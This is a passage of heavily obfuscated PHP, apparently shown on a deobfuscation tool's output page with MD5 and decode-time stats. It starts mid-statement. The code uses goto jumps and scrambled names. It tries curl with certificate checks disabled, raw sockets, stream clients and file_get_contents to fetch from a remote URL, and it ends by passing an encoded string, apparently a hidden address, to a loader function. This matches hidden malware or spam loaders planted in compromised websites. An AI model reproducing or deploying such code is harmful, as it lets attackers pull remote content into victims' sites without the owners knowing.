CURLOPT_RETURNTRANSFER, 1); goto ZtxIt; eZf9z: CN5YB: goto JybHs; aPXGe: if ($w8U2z["scheme"] == "https") { goto pmlLZ; } goto cypvb; OArdi: a214y: goto dbvUn; ZtxIt: curl_setopt($uQCJW, CURLOPT_TIMEOUT, 100); goto y468v; EAera: unset($pqbyC, $w8U2z, $J36GU, $OY1dy); goto jKIPr; rly7t: unset($WAcre, $P475Z); goto gLNd5; QBbj4: $OY1dy = $w8U2z["path"] ? $w8U2z["path"] . ($w8U2z["query"] ? "?" . $w8U2z["query"] : '') : "/"; goto VEXct; BULmU: goto FY7n2; goto W_Kl1; QNepO: isset($w8U2z["host"]) || ($w8U2z["host"] = ''); goto s3fZD; HTzrh: $uqdSH = $pOWB8(AF_INET, SOCK_STREAM, 0); goto q7SxK; ekUCn: if ($mwgpZ["timed_out"]) { goto Guv0p; } goto DXe2e; A0dIY: if (!$JSs4A) { goto Gchbz; } goto eFO8v; bLsfe: unset($jG1RL); goto gZcfa; SGe3B: return trim(trim($zAP50, "\357\xbb\xbf")); goto xkyFK; nGUjw: curl_setopt($uQCJW, CURLOPT_URL, $FYG0D); goto ctMJj; OYNBJ: goto HdSaZ; goto ls4kj; j0Ngs: $tCTFr = empty($w8U2z["port"]) ? 443 : $w8U2z["port"]; goto walk1; Vv6w_: F1VfC: goto WbKjB; ZiK2P: oYRDK: goto BULmU; PCkYp: unset($ohbfD); goto OYNBJ; x1e_o: goto GaWHY; goto Z5RgZ; ee_PP: $uqdSH = stream_socket_client($AfHxa, $Z1I3g, $G6SMc, 30); goto bBchY; lEAZs: if (feof($uqdSH)) { goto jPwfl; } goto JjnRz; zpdEF: $zAP50 .= $ohbfD; goto PCkYp; e_9pm: unset($lEtvt); goto x1e_o; s3fZD: isset($w8U2z["path"]) || ($w8U2z["path"] = ''); goto xAKtC; HLgGG: $uqdSH = $pOWB8($h8eH8, $tCTFr, $Z1I3g, $G6SMc, 30); goto n8E7H; CvnmJ: $tCTFr = empty($w8U2z["port"]) ? 80 : $w8U2z["port"]; goto VxiV4; nhRUB: $AfHxa .= $h8eH8; goto uO3Gi; FZfGT: socket_close($uqdSH); goto jbEyF; PYpLV: goto CSaBY; goto bXpsw; ls4kj: COExq: goto oT9Vv; ULmla: socket_write($uqdSH, $WeMZx, strlen($WeMZx)); goto lctoA; uO3Gi: $AfHxa .= ":"; goto KzKzm; gLNd5: if (!($pOWB8 == '')) { goto C2Fui; } goto h6TQc; bhrnx: if (!($lEtvt && (rawurlencode($lEtvt) == "%0D%0A" || rawurlencode($lEtvt) == "%0A"))) { goto Ilw4O; } goto P_9Y4; Z5RgZ: jPwfl: goto QCE0b; kBXr4: stream_set_blocking($uqdSH, TRUE); goto NOODg; W_Kl1: G8lqy: goto kBXr4; s0VkF: fclose($uqdSH); goto BEG2j; Op4DN: array_shift($zAP50); goto z5G3o; dbvUn: $af1ET = file_get_contents($FYG0D); goto FKPt1; BEG2j: FY7n2: goto BBjhc; P_9Y4: goto jPwfl; goto sXCKQ; z5G3o: $zAP50 = implode("\xd\xa
", $zAP50); goto I0mL6; Yr5CV: if (preg_match("/^https*\:\/\//si", $FYG0D)) { goto a214y; } goto EXBF8; sXCKQ: Ilw4O: goto e_9pm; dsZKv: if (!($Atn_F = @socket_read($uqdSH, 8192))) { goto CN5YB; } goto DZAtd; qvL0G: $JSs4A = curl_exec($uQCJW); goto FQCsX; c9eaG: uulkY: goto PYpLV; BBjhc: unset($WeMZx, $pOWB8, $uqdSH, $tCTFr, $h8eH8); goto fI_ps; NOODg: stream_set_timeout($uqdSH, 30); goto MuAqz; TvxWA: if (!(substr($pOWB8, -1) == "e")) { goto oYRDK; } goto O8Px8; lctoA: qHhn2: goto dsZKv; raQtI: $w8U2z = parse_url($FYG0D); goto QNepO; vDohk: curl_setopt($uQCJW, CURLOPT_SSL_VERIFYPEER, 0); goto qvL0G; aOYgQ: $zAP50 = ''; goto bZu2J; WbKjB: $jG1RL = "Host: "; goto BKrqm; FQCsX: curl_close($uQCJW); goto A0dIY; jsiUW: Gchbz: goto ty5sv; DZAtd: $zAP50 .= $Atn_F; goto Bfak6; ty5sv: return "501"; goto t2T_s; i1gKj: goto qHhn2; goto eZf9z; EXBF8: return "500"; goto OArdi; Xc8Sv: $J36GU = "1.1"; goto j0Ngs; XkKqL: if (feof($uqdSH)) { goto COExq; } goto YuhIp; Ofm8Q: if (!(substr($pOWB8, 0, 1) == "c")) { goto JOony; } goto Kihcz; h6TQc: return 0; goto BukxF; QCE0b: HdSaZ: goto XkKqL; A1WEs: $mwgpZ = stream_get_meta_data($uqdSH); goto ekUCn; Oi5k6: JOony: goto raQtI; jYA95: $pqbyC[] = $jG1RL; goto fIdTD; YuhIp: $ohbfD = fread($uqdSH, 8192); goto zpdEF; v4HoT: fiAPy: goto u1bJ1; juVn2: return $af1ET; goto v4HoT; xAKtC: isset($w8U2z["query"]) || ($w8U2z["query"] = ''); goto BxXA3; JybHs: $zAP50 = explode("\xd\xa\xd
", $zAP50); goto Op4DN; KzKzm: $AfHxa .= $tCTFr; goto ee_PP; fI_ps: $zAP50 = @preg_replace_callback("/(?:(?:\r\n|\n)|^)([0-9A-F]+)(?:\r\n|\n){1,2}(.*?)" . "((?:\r\n|\n)(?:[0-9A-F]+(?:\r\n|\n))|$)/si", "f_async", $zAP50); goto SGe3B; L9rgw: if (!(substr($pOWB8, -1) == "t")) { goto uulkY; } goto aUvz0; cypvb: $J36GU = "1.0"; goto CvnmJ; oT9Vv: Guv0p: goto XoLxV; q7SxK: if (!socket_connect($uqdSH, $oVxSa, $tCTFr)) { goto kbnFh; } goto ULmla; bBchY: unset($AfHxa); goto c9eaG; ctMJj: curl_setopt($uQCJW, CURLOPT_USERAGENT, "s"); goto v34yH; jKIPr: $uqdSH = null; goto WX4Uc; xrARJ: foreach (explode("|", $WAcre) as $P475Z) { goto NXmZM; CkHIw: zvGwN: goto vf2d8; J9JBL: foreach (explode("+", $P475Z) as $DjD3I) { if (!function_exists($DjD3I)) { $qgiyB = 0; } OU_Rp: } goto P9ZkP; NXmZM: $qgiyB = 1; goto J9JBL; hEQci: goto gzXgq; goto GAz1B; B3EiI: unset($DjD3I); goto ONCJW; P9ZkP: anWNT: goto B3EiI; ONCJW: if (!$qgiyB) { goto O1IbC; } goto kXc0f; GAz1B: O1IbC: goto CkHIw; kXc0f: $pOWB8 = $P475Z; goto hEQci; vf2d8: } goto LH3bd; aUvz0: $AfHxa = "tcp://"; goto nhRUB; LH3bd: gzXgq: goto rly7t; Xp_c3: pmlLZ: goto Xc8Sv; n8E7H: CSaBY: goto aOYgQ; I0mL6: kbnFh: goto FZfGT; BukxF: C2Fui: goto Ofm8Q; xkyFK: } goto qbDeE; t6_FA: $agFil = "Ha0RDcvo3LzVjMzEXLyYjMuEXekdDN5IDZuI2Yt9wL=="; goto EVm5w; WO3Zm: AoG5e($agFil, $ijkA2); 
?>

Function Calls

None

Variables

None

Stats

MD5 7198a95bbb5f600ea162e453de853204
Eval Count 0
Decode Time 100 ms